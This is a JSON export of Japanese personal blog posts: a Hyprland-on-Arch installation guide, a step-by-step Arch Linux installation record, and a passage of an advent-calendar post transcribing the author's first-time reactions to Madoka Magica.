[{"content":"Arch LinuxのコンポジターとしてHyprlandをインストールする\nここでは、コンポジターとは何か、Hyprlandの特徴、他のコンポジター等との比較については省略する\nHyprlandのインストール Installation – Hyprland Wikiに従いインストール\nここではArch Linuxにインストールするため、以下のコマンドを実行\nsudo pacman -S hyprland フォントのインストール Hyprlandは初期設定用のフォントとして sans-serif あるいは noto-fonts を使用するため、予めインストール\nsudo pacman -S noto-fonts uwsm用起動スクリプトの追記 Hyprlandを直接起動する方法もあるが、今回はuwsmを用いて起動する\nSystemd startup – Hyprland Wikiに従い、必要なパッケージをインストール\npacman -S uwsm libnewt その後、以下のスクリプトを適当なファイルに追記\nここでは ~/.profile に追記する\nif uwsm check may-start \u0026amp;\u0026amp; uwsm select; then exec uwsm start default fi Warning\nここで ~/.bash_profile 等、ログイン時に自動的に読み込まれるファイルに起動スクリプトを追記すると、問題が生じた時にCUI画面に戻ることが困難になる\nそのため、インストール作業段階では自動で読み込まれないファイルに追記し、全ての作業が終わった後に ~/.bash_profile 等に転記することが望ましい\nHyprlandの起動 以下のコマンドで起動し、初回起動画面が表示されることを確認\nsource ~/.profile Notice\nこの時、rootユーザから sudo su - USER でログインしてコマンドを実行せず、USERで直接ログインすること\nsu経由でのログインでは必要な環境変数が設定されず、以下のエラーが発生する\n[CRITICAL] Critical error thrown: XDG_RUNTIME_DIR is not set! terminate called after throwing an instance of \u0026#39;std::runtime_error\u0026#39; what(): XDG_RUNTIME_DIR is not set! Aborted (core dumped) 必須パッケージのインストール 初回起動画面でチュートリアル実施を選択すると、必須あるいはほぼ必須のパッケージをインストールするよう案内されるため、Useful Utilities – Hyprland Wikiに従い利用したいパッケージを sudo pacman -S でインストール\nここでは今回の作業でインストールしたパッケージを列挙する\nCUI画面に戻りたい場合は、 SUPER+M キーでログイン画面に戻ることができる\nNotification Daemon dunst Audio and Video Handling pipewire wireplumber pipewire-pulse pipewire-alsa XDG Desktop Portal xdg-desktop-portal-hyprland Authentication Agent hyprpolkitagent 起動には ~/.config/hypr/hyprland.conf での exec-once = systemctl --user start hyprpolkitagent 追記が必要 uwsm経由の起動の場合、設定追記の代わりにCUI画面での systemctl --user enable --now hyprpolkitagent.service 実行でもよい Status Bar waybar 起動には ~/.config/hypr/hyprland.conf での exec-once = waybar 追記が必要 uwsm経由の起動の場合、設定追記の代わりにCUI画面での systemctl --user enable --now waybar.service 実行でもよい Wallpaper hyprpaper 起動には ~/.config/hypr/hyprland.conf での exec-once = hyprpaper 追記が必要 App launchers rofi Clipboard Managers cliphist 起動には ~/.config/hypr/hyprland.conf での exec-once = wl-paste --type text --watch cliphist store 及び exec-once = wl-paste --type image --watch cliphist store の追記が必要 File Managers thunar Terminal kitty 必要なパッケージのインストール後、Hyprlandが利用可能になる\n起動用スクリプトをprofileファイルに転記 ログイン時にHyprlandを自動で起動するため、uwsm用起動スクリプトの追記で ~/.profile に追記していた内容を ~/.bash_profile 等の自動で読み込まれるファイルに転記\ncat ~/.profile \u0026gt;\u0026gt; ~/.bash_profile rm ~/.profile 参考 Hyprland Wiki Launched Hyprland but there are no letters : r/hyprland Resolving Audio Issues on Arch Linux with Hyprland: A Step-by-Step Guide - DEV Community ","permalink":"https://unigiri.gitlab.io/posts/install-hyprland-on-arch-linux/","summary":"\u003cp\u003e\u003ca href=\"https://archlinux.org/\"\u003eArch Linux\u003c/a\u003eのコンポジターとして\u003ca href=\"https://hypr.land/\"\u003eHyprland\u003c/a\u003eをインストールする\u003cbr\u003e\nここでは、コンポジターとは何か、Hyprlandの特徴、他のコンポジター等との比較については省略する\u003c/p\u003e\n\u003ch2 id=\"hyprlandのインストール\"\u003eHyprlandのインストール\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://wiki.hypr.land/Getting-Started/Installation/\"\u003eInstallation – Hyprland Wiki\u003c/a\u003eに従いインストール\u003cbr\u003e\nここではArch Linuxにインストールするため、以下のコマンドを実行\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo pacman -S hyprland\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"フォントのインストール\"\u003eフォントのインストール\u003c/h2\u003e\n\u003cp\u003eHyprlandは初期設定用のフォントとして \u003ccode\u003esans-serif\u003c/code\u003e あるいは \u003ccode\u003enoto-fonts\u003c/code\u003e を使用するため、予めインストール\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo pacman -S noto-fonts\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"uwsm用起動スクリプトの追記\"\u003euwsm用起動スクリプトの追記\u003c/h2\u003e\n\u003cp\u003eHyprlandを直接起動する方法もあるが、今回はuwsmを用いて起動する\u003cbr\u003e\n\u003ca href=\"https://wiki.hypr.land/Useful-Utilities/Systemd-start/\"\u003eSystemd startup – Hyprland Wiki\u003c/a\u003eに従い、必要なパッケージをインストール\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003epacman -S uwsm libnewt\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eその後、以下のスクリプトを適当なファイルに追記\u003cbr\u003e\nここでは \u003ccode\u003e~/.profile\u003c/code\u003e に追記する\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e uwsm check may-start \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e uwsm \u003cspan class=\"k\"\u003eselect\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"k\"\u003ethen\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nb\"\u003eexec\u003c/span\u003e uwsm start default\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efi\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eWarning\u003c/strong\u003e\u003cbr\u003e\nここで \u003ccode\u003e~/.bash_profile\u003c/code\u003e 等、ログイン時に自動的に読み込まれるファイルに起動スクリプトを追記すると、問題が生じた時にCUI画面に戻ることが困難になる\u003cbr\u003e\nそのため、インストール作業段階では自動で読み込まれないファイルに追記し、全ての作業が終わった後に \u003ccode\u003e~/.bash_profile\u003c/code\u003e 等に転記することが望ましい\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"hyprlandの起動\"\u003eHyprlandの起動\u003c/h2\u003e\n\u003cp\u003e以下のコマンドで起動し、初回起動画面が表示されることを確認\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003esource\u003c/span\u003e ~/.profile\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eNotice\u003c/strong\u003e\u003cbr\u003e\nこの時、rootユーザから \u003ccode\u003esudo su - USER\u003c/code\u003e でログインしてコマンドを実行せず、USERで直接ログインすること\u003cbr\u003e\nsu経由でのログインでは必要な環境変数が設定されず、以下のエラーが発生する\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e[CRITICAL] Critical error thrown: XDG_RUNTIME_DIR is not set!  \nterminate called after throwing an instance of \u0026#39;std::runtime_error\u0026#39;  \n  what():  XDG_RUNTIME_DIR is not set!  \nAborted (core dumped)\n\u003c/code\u003e\u003c/pre\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"必須パッケージのインストール\"\u003e必須パッケージのインストール\u003c/h2\u003e\n\u003cp\u003e初回起動画面でチュートリアル実施を選択すると、必須あるいはほぼ必須のパッケージをインストールするよう案内されるため、\u003ca href=\"https://wiki.hypr.land/Useful-Utilities/\"\u003eUseful Utilities – Hyprland Wiki\u003c/a\u003eに従い利用したいパッケージを \u003ccode\u003esudo pacman -S\u003c/code\u003e でインストール\u003c/p\u003e","title":"Arch LinuxへのHyprlandインストール手順"},{"content":"Arch Linuxのインストール手順を記録する\nなお、Arch Linuxの概要や、他のOSとの比較等は省略する\nISOインストール ダウンロードページからiso、sig、b2sums.txtをダウンロードし、以下のコマンドで検証\nb2sum -c b2sums.txt gpg --auto-key-locate clear,wkd -v --locate-external-key pierre@archlinux.org gpg --verify archlinux-x86_64.iso.sig archlinux-2025.12.01-x86_64.iso USBインストールメディア作成 USBドライブ名確認 以下のコマンドでUSBドライブの名前を調べ、それらがマウントされていないことを lsblk で確認\nls -l /dev/disk/by-id/usb-* また、この時にドライブのパスを記録\n$ ls -l /dev/disk/by-id/usb-* lrwxrwxrwx 1 root root 9 Dec 3 20:43 /dev/disk/by-id/usb-USB_SanDisk_3.2Gen1_01014dec9e899c24c9a933abd583c7db91b06dc2501e61ce2ea209f7b695be8ac04c00000000000000000000289980daff12780081558107712e850b-0:0 -\u0026gt; ../../sda lrwxrwxrwx 1 root root 10 Dec 3 20:43 /dev/disk/by-id/usb-USB_SanDisk_3.2Gen1_01014dec9e899c24c9a933abd583c7db91b06dc2501e61ce2ea209f7b695be8ac04c00000000000000000000289980daff12780081558107712e850b-0:0-part1 -\u0026gt; ../../sda1 lrwxrwxrwx 1 root root 10 Dec 3 20:43 /dev/disk/by-id/usb-USB_SanDisk_3.2Gen1_01014dec9e899c24c9a933abd583c7db91b06dc2501e61ce2ea209f7b695be8ac04c00000000000000000000289980daff12780081558107712e850b-0:0-part2 -\u0026gt; ../../sda2 $ export MYDRIVE=/dev/disk/by-id/usb-USB_SanDisk_3.2Gen1_01014dec9e899c24c9a933abd583c7db91b06dc2501e61ce2ea209f7b695be8ac04c00000000000000000000289980daff12780081558107712e850b-0:0 再フォーマット 以前そのUSBを他のOSのインストールメディアをして使用していた場合、以下のコマンドでISO 9660ファイルシステムシグネチャを削除\nsudo wipefs --all $MYDRIVE ISOファイル書き込み sudo su - cat archlinux-x86_64.iso \u0026gt; /dev/disk/by-id/usb-USB_SanDisk_3.2Gen1_01014dec9e899c24c9a933abd583c7db91b06dc2501e61ce2ea209f7b695be8ac04c00000000000000000000289980daff12780081558107712e850b-0\\:0 sync インストールの準備 USBインストールメディア作成で作成したメディアをインストールしたいデバイスに挿し、起動\nキーボードレイアウト設定 自分はDrorakユーザのため、そのように設定を変更\nloadkeys dvorak インターネット接続設定 今回はiwctl を用いて無線ネットワークに接続\niwctl [iwd]# device list [iwd]# station {device_name} scan [iwd]# station {device_name} get-networks [iwd]# station {device_name} connect SSID [iwd]# exit 以下のコマンドで接続を確認\nping archlinux.jp システムクロック更新 timedatectl status パーティション設定 ここでは /dev/nvme0n1 にインストールすることを前提として話を進める\nドライブのフォーマット sudo nvme format /dev/nvme0n1 --ses=2 --ses=2 は Secure Erase の意味だが、一部のドライブはこれに対応していない\n以下のコマンドの出力結果に Not Supported が含まれていれば対応していないため、代わりに --ses=1 を指定\nsudo nvme id-ctrl -H /dev/nvme0 | grep \u0026#34;Crypto Erase\u0026#34; なお --ses=1 に対応しているかは、以下のコマンドで同様に確認が可能\nsudo nvme id-ctrl -H /dev/nvme0 | grep \u0026#34;Format NVM\u0026#34; パーティション設定 ここでは UEFI/GPT の使用を前提として話を進める\n以下のコマンドにより対話的に作成\ngdisk /dev/nvme0n1 別端末上での作業によりログを記録できなかったため、詳細な作成方法はGPT fdisk - ArchWikiを参照すること\nここでは以下のパーティションを設定したとして話を進める\n/dev/nvme0n1p1 /boot 用 1 GB /dev/nvme0n1p2 スワップ用 メモリと同容量 ハイバネーションのため通常よりも容量を多く取っている /dev/nvme0n1p3 / 用 残りの全ての容量 パーティションのフォーマット 3つのパーティションをそれぞれフォーマット\nmkfs.fat -F 32 /dev/nvme0n1p1 mkswap /dev/nvme0n1p2 mkfs.ext4 /dev/nvme0n1p3 ファイルシステムのマウント 作成したボリュームをマウントあるいは有効化\nmount /dev/nvme0n1p3 /mnt swapon /dev/nvme0n1p2 mount --mkdir /dev/nvme0n1p1 /mnt/boot インストール パッケージのミラーの選択 /etc/pacman.d/mirrorlist を編集し、地理的に近いミラーを上部に移動させる\n必須パッケージのインストール pacstrap -K /mnt base linux linux-firmware sudo neovim fstabの生成 genfstab -U /mnt \u0026gt;\u0026gt; /mnt/etc/fstab chroot arch-chroot /mnt タイムゾーン設定 ln -sf /usr/share/zoneinfo/Asia/Tokyo /etc/localtime hwclock --systohc ローカリゼーション まず /etc/locale.gen を neovim 等で編集し en_US.UTF-8 UTF-8 と ja_JP.UTF-8 UTF-8 をアンコメント\nその後、以下を実行\nlocale-gen その後 /etc/locale.conf を作成し、以下の内容を追記\nLANG=en_US.UTF-8 キーマップ変更 /etc/vconsole.conf を作成し、以下の内容を追記\nKEYMAP=dvorak ネットワーク設定 ホストネーム設定 /etc/hostname を作成し、任意のホストネームを追記\nネットワーク設定 ここではワイヤレスLAN wlan0 への接続を前提に話を進める\nネットワークインターフェイスの有効化 ip link show dev 表示される \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; のうち UP が表示されていれば有効\nワイヤレスLANへ接続 ここでは iwd を利用\niwctl [iwd]# station wlan0 scan [iwd]# station wlan0 get-networks [iwd]# station wlan0 connect {SSID} [iwd]# station wlan0 show また、DHCPクライアントを有効化\n/etc/iwd/main.conf [General] EnableNetworkConfiguration=true systemctl restart iwd ドメイン名解決 iwd はドメイン名前解決のために systemd-resolved または resolvconf を利用\nここでは systemd-resolved を選択\nsystemctl start systemd-resolved systemctl enable systemd-resolved 接続確認 ping 9.9.9.9 ping archlinux.org ルートパスワード設定 passwd ブートローダーのインストール ここではEFI ブートスタブの使用を前提に話を進める\nまず efibootmgr をインストール\npacman -S efibootmgr その後、以下のコマンドによりブートエントリを作成\nefibootmgr --create --disk /dev/nvme0n1 --part 1 --label \u0026#34;Arch Linux\u0026#34; --loader /vmlinuz-linux --unicode \u0026#39;root=/dev/nvme0n1p3 rw initrd=\\initramfs-linux.img\u0026#39; 再起動 exit によりchroot環境から抜けた後 reboot で再起動\n正しくインストールが完了していればArch Linuxが起動する\n資料 Arch Linux - Downloads インストールガイド - ArchWiki USB インストールメディア - ArchWiki ","permalink":"https://unigiri.gitlab.io/posts/install-arch-linux/","summary":"\u003cp\u003e\u003ca href=\"https://archlinux.org/\"\u003eArch Linux\u003c/a\u003eのインストール手順を記録する\u003cbr\u003e\nなお、Arch Linuxの概要や、他のOSとの比較等は省略する\u003c/p\u003e\n\u003ch2 id=\"isoインストール\"\u003eISOインストール\u003c/h2\u003e\n\u003cp\u003eダウンロードページからiso、sig、b2sums.txtをダウンロードし、以下のコマンドで検証\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eb2sum -c b2sums.txt\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egpg --auto-key-locate clear,wkd -v --locate-external-key pierre@archlinux.org\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egpg --verify archlinux-x86_64.iso.sig archlinux-2025.12.01-x86_64.iso\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"usbインストールメディア作成\"\u003eUSBインストールメディア作成\u003c/h2\u003e\n\u003ch3 id=\"usbドライブ名確認\"\u003eUSBドライブ名確認\u003c/h3\u003e\n\u003cp\u003e以下のコマンドでUSBドライブの名前を調べ、それらがマウントされていないことを \u003ccode\u003elsblk\u003c/code\u003e で確認\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003els -l /dev/disk/by-id/usb-*\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eまた、この時にドライブのパスを記録\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ ls -l /dev/disk/by-id/usb-*\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003elrwxrwxrwx \u003cspan class=\"m\"\u003e1\u003c/span\u003e root root  \u003cspan class=\"m\"\u003e9\u003c/span\u003e Dec  \u003cspan class=\"m\"\u003e3\u003c/span\u003e 20:43 /dev/disk/by-id/usb-USB_SanDisk_3.2Gen1_01014dec9e899c24c9a933abd583c7db91b06dc2501e61ce2ea209f7b695be8ac04c00000000000000000000289980daff12780081558107712e850b-0:0 -\u0026gt; ../../sda\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003elrwxrwxrwx \u003cspan class=\"m\"\u003e1\u003c/span\u003e root root \u003cspan class=\"m\"\u003e10\u003c/span\u003e Dec  \u003cspan class=\"m\"\u003e3\u003c/span\u003e 20:43 /dev/disk/by-id/usb-USB_SanDisk_3.2Gen1_01014dec9e899c24c9a933abd583c7db91b06dc2501e61ce2ea209f7b695be8ac04c00000000000000000000289980daff12780081558107712e850b-0:0-part1 -\u0026gt; ../../sda1\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003elrwxrwxrwx \u003cspan class=\"m\"\u003e1\u003c/span\u003e root root \u003cspan class=\"m\"\u003e10\u003c/span\u003e Dec  \u003cspan class=\"m\"\u003e3\u003c/span\u003e 20:43 /dev/disk/by-id/usb-USB_SanDisk_3.2Gen1_01014dec9e899c24c9a933abd583c7db91b06dc2501e61ce2ea209f7b695be8ac04c00000000000000000000289980daff12780081558107712e850b-0:0-part2 -\u0026gt; ../../sda2\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ \u003cspan class=\"nb\"\u003eexport\u003c/span\u003e \u003cspan class=\"nv\"\u003eMYDRIVE\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e/dev/disk/by-id/usb-USB_SanDisk_3.2Gen1_01014dec9e899c24c9a933abd583c7db91b06dc2501e61ce2ea209f7b695be8ac04c00000000000000000000289980daff12780081558107712e850b-0:0\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"再フォーマット\"\u003e再フォーマット\u003c/h3\u003e\n\u003cp\u003e以前そのUSBを他のOSのインストールメディアをして使用していた場合、以下のコマンドでISO 9660ファイルシステムシグネチャを削除\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo wipefs --all \u003cspan class=\"nv\"\u003e$MYDRIVE\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"isoファイル書き込み\"\u003eISOファイル書き込み\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo su -\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ecat archlinux-x86_64.iso \u0026gt; /dev/disk/by-id/usb-USB_SanDisk_3.2Gen1_01014dec9e899c24c9a933abd583c7db91b06dc2501e61ce2ea209f7b695be8ac04c00000000000000000000289980daff12780081558107712e850b-0\u003cspan class=\"se\"\u003e\\:\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esync\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"インストールの準備\"\u003eインストールの準備\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"/posts/install-arch-linux/#usb%e3%82%a4%e3%83%b3%e3%82%b9%e3%83%88%e3%83%bc%e3%83%ab%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e4%bd%9c%e6%88%90\"\u003eUSBインストールメディア作成\u003c/a\u003eで作成したメディアをインストールしたいデバイスに挿し、起動\u003c/p\u003e","title":"Arch Linuxのインストール手順"},{"content":"みなさま5日ぶりにこんにちは！Unigiriです。\nこの記事は卓ゲ箪笥 Advent Calendar 202517日目の記事です。\n事の始まり 先日、魔法少女まどか☆マギカのTV版1+叛逆の物語をダム14Fさんと海 乃さんと共に視聴しました。\n確か曜日固定で開催しているLiminalキャンペーンの後になぜか、いや今思い出した 、魔法少女ノ魔女裁判の話をしていた流れでダーク魔法少女モノの話から「私まどマギ観てなくて〜」2みたいな話 題になった気がします。\nまあ流れは重要ではないのです。\nとにかく私がまどマギを観ていないということで、既に視聴済みの2人からおすすめされて放送から14年経った今観ることになりました。\nそして、せっかくなので初視聴の感想をアドカレとして出そうということになりました。\n初視聴の人の感想はいくら摂取しても美味しい、私もオタクとしてよく分かります。3\nということで、この記事は魔法少女まどか☆マギカの重大なネタバレを含みます。 未視聴の方はご注意ください。\nでは同時視聴の様子を録音した406分の音声ファイルを渡しますので、各自お楽しみくださいね \u0026hellip;\u0026hellip;なんてことをしても現代社会を生きる忙しい皆様方には難しい。想像に難くありません。\nなのでpestさんに依頼し4、全て書き起こしていただきました。\nこの記事におけるMVPは間違いなくpestさんです。本当にありがとうございました！！！\nというわけで、ここからは書き起こしていただいた内容となります。\nなお、読む際は以下の点にご留意ください。\n私はさやかちゃんのソウルジェムが濁っていくあたりまでは視聴済みです。また、インターネットからネタバレを結構受けています。 括弧で書かれている部分は、本編のどの部分に対しての感想かを分かりやすくするための、pestさんによる補足です。 書き起こしには私の声しか含まれていません。何かに相槌を打つようなコメントは基本的にダムさんか海乃さんに対してのものです。 魔法少女まどか☆マギカ TV版 第1話 （開始・導入） 始まった。もう早速イヌカレー空間な感じがする。\n意外と覚えてないな。そっか、最初こういうシーンだっけな。数年で済むんですか？　あれ、15周年みたいな話でしたっけ？　確か。ですよね。そうかあ。\nあれ、これってエンディングの曲ですよね？　途中からこのエンディングが流れた記憶があったんですけど、1話から実は流れてたんだ。\nでもこれ。なんのシーンなんだこれ。\n騙されるな。キュゥべえはそうやってそそのかすことしかしないんだ。\n悪い夢だったんだな。良かった良かった。\nまあでもこう見ると、今のところ15年前のアニメとは思えない出来ではありますね。確かにうめ先生の絵柄は、まあ、トレンドというよりも独自のあれだから。\nうんうん。ああ、なんか、ClariS、結構いろいろ変わりながらずっと続いているみたいなのは、私も聞いたことあります。\nなんでしたっけ、THE FIRST TAKEとかに今となっては出てますよね、ClariS。へえ、増えたんだ。珍しいですね。減るのはよくあるんですけど、増えるのは。\nリトグリ……リトグリを知らない。\n（鹿目家の描写） なんでこんな椅子いっぱいあるの。お母さん、こんなだったか。ああ、そうか。お父さんの方が家のことやってみたいな家庭だったかな、確か。ですね。\nまあ、まずアニメだと他では見ない家庭環境でしたね。かっこいい。15年前はなかったかも。\nパンで受け止めてる。ナイス反射神経。\n（志筑仁美登場） この年代のシャフトアニメあるあるだけど、家がだだっ広い。あるあるですねえ。左の子、言われてみればいたかも。いたっけ。誰だっけ？ このウェーブ髪の子。\nそうですね。なんなんでいないんだろう。すぐ消えちゃうのかな。\n（教室の描写） この明るい雰囲気が一体何話続くんだろう。一時期流行ったよな。流行ったというか、最先端とされていたような、こういうガラス張りの開放感のある教室。\n（暁美ほむら登場） 美人かそうじゃないかの区別は私にはつかないな。この絵柄だと。雰囲気はすごい美人。\nえー、どっから来ましたとか、科目は何が得意ですとかとそういう。\n猫かぶってる時の戦場ヶ原ひたぎの声がする、ほむらから。なんで知ってるの？ 保険係なの。\nあ、よく突っ込んでくれた。案内不要。保健室の、なんで付き添った。\nきっと、多分、見取り図は壁に貼ってるだろうし。あ、名前のこと言われるのは地雷ですか。\nめちゃめちゃ怒ってる。\nまあ、さすがに途中まで見たからわかりますよ。魔法少女になるなって意味であることぐらいは。\n（キュゥべえ登場） あ、キュゥべえ。いや、さすがに15年前にブルマはもう。\n（友人3人での会話） この3人、何関係で仲良くなったんだろうなぁ。もう、ここからひどいことしか起こらないことわかってるから、今のうちにそっちの方が気になる。\nああ、部活。ここで飲食してるってことは、部活は入ってないかも。中学二年生でしたっけこの人たち。高校ではないですよね。\nなんか今このウェーブの、仁美ちゃんがもうすぐ受験だというのにって言ってたから一年ではないのかな。早い人は一年から勉強しますけど。\nそうですね。どっちにしろ高校じゃなければ確かにご近所さんでもおかしくないですね。\nおお、中二か。まあ、いい年齢ですよね。魔法少女に中二。\nまあ、なんか、いわゆるマスコットポジが助けを求めてみたいなのは、わりかし日朝ではあるあるな気がしますね。そうですね。『ヒーリングっど♥』は確かそうだったし。うん 。\n（魔女の結界侵入） えっ、皮膚破けてる皮膚なんだ。そこを剥けるんだ。\nさやかちゃんは頼りになるなぁ。めちゃめちゃイヌカレー空間が来た。\n何語なんだろう。元ネタあるのかな。つい言語について考えてしまう。いますよね。やっぱりこの文字解読してる人いそう。\n（巴マミ登場） あっ、マミさん。\nなんでマミさんが近くにいるってわかって、まあ知ってて行ったんだろうけど、マミさんに助けを求めなかったんだろう、キュゥべえは。やっぱり「あ、ちょうどまどかをたぶら かせるチャンスだ。やり」って思ったのかな。\n罠とも知らず助けて。ありえる。今、駆けつけたのかもしれない。マミさんは。\n（マミとほむらの会話） めちゃめちゃバチバチだ。仲が悪いこの2人。\n（ED) なんて王道な魔法少女ものなんだ。ここから2話で2人が契約して、可愛らしい変身バンクを見せてくれるんだろうな。\n気づかなかった。確かなんかあのマミったあたりでエンディングが急にあの曲に変わってみんな驚いた記憶があります、当時、確か。\nオープニングあれだけ力入れてこのエンディング1枚絵はちょっとギャップにびっくりしますよね。\nまあ、15年前としてもちょっと。確かに毎回違う絵だったらそれは楽しいかもしれない。かわいいな、キュゥべえ、この絵だと。\n第2話 （OP） 私はオープニングを飛ばさない族なので、このままオープニングを見ます。\nこのサブタイの出方好き。タイトルと一緒にオープニングで出るやつ。\n（巴マミの家にて） マミさん、なんで中三で一人暮らしなんだっけな。\n確か、こいつが濁っていくとダメだから、魔女を討伐して得た何かで濁るのを防止しないといけないだったはず。確か。追々どっかで喋ってくれたはず。うろ覚えです。\n（願い事について母親との会話） 社長って乗っ取れるもんなのかな。自分で起業した方が早そう。うん、まあ、人望があるから、多分人もついてくるだろうし。\nマミさんがなんで戦ってたのかが明かされるのか覚えてないな。マミさんの願いというか。なんか死ぬタイミングがタイミングなので、自分で言わない可能性もあるけど気にはな る。\nそのあたりの疑問点を今のうちに口に出しておくのもよかろう。\n（テレパシーについて） 頭で考えたこと、知り合いに伝わるの普通に嫌だな。楽ではあるけど。伝えたい時にならdiscord要らずで便利ですね。\nいろいろ、なんだったら魔女の力以上に活用できますね。そのあたり、よく分かってないんですけど、魔法を使うとなんかコストがかかるんでしたっけね。\n例えばジェムが濁るとか。それも後ほどお楽しみにってことですかね。\n（まどかの魔法少女衣装の落書き） いくら倒したらゴールなんだ。願いが叶うまでの本当に願いは叶うんだろうか。\nああ、中学生の落書きっぽくていいですね。このデフォルメ感、絵の上手いタイプの中学生ですね、しかも。\n（ヤバすぎる校舎屋上） 何この建物。このザビ家の庁舎みたいな。この建物。何あれと同じぐらい変ですよ。あれも変だけど。うん、寒いけど、あれは多分。\n校舎広～。\n（暁美ほむらの忠告） 多少話を知ってると優しく忠告してくれてるのはわかるんだけど、ちょっと言い方っていうか、態度っていうか、コミュ障だからかな。そうなのか。\n何も覚えてないけど、このウェーブ髪の仁美ちゃんが危ない目にあって、踏ん切りがつかないまま魔法少女になると見た。多分、何らかのきっかけがないと決心できないでしょう 、この2人は。\n（魔女の名前表記について） わりかし人海戦術的な探し方をしないと難しいのに、それができないのは大変そうだな。ドイツ語かな。いや、ドイツ語の文字はちょっとわかりやすいんで。点々がついていれば 